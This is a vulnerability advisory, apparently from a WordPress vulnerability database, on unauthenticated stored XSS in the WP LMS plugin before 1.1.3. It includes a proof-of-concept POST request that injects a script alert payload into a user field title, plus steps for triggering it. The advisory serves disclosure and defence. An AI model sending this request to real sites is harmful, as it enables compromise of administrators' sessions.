WordPress Plugin Vulnerabilities
WP LMS < 1.1.3 - Unauthenticated Stored Cross-Site Scripting (XSS)
Description
The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)
v1.1.3 fixed the XSS by escaping and sanitising. Still no CSRF/capability check (confirmed to be also missing in 1.1.4)
Proof of Concept
POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 207 Connection: close Upgrade-Insecure-Requests: 1 fieldtitle=Image%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&published=1&isvisitorpublished=1&required=0&search_user=1&search_visitor=1&form_request=jslearnmanager&id=28&isuserfield=0&fieldfor=3&save=Save Then visit /wp-admin/admin.php?page=jslm_fieldordering&ff=3 as admin to trigger the XSS. It may also be triggered elsewhere
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Mohammed Adam
Submitter
Mohammed Adam
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-05-24 (about 2 years ago)
Added
2021-07-02 (about 2 years ago)
Last Updated
2021-08-10 (about 2 years ago)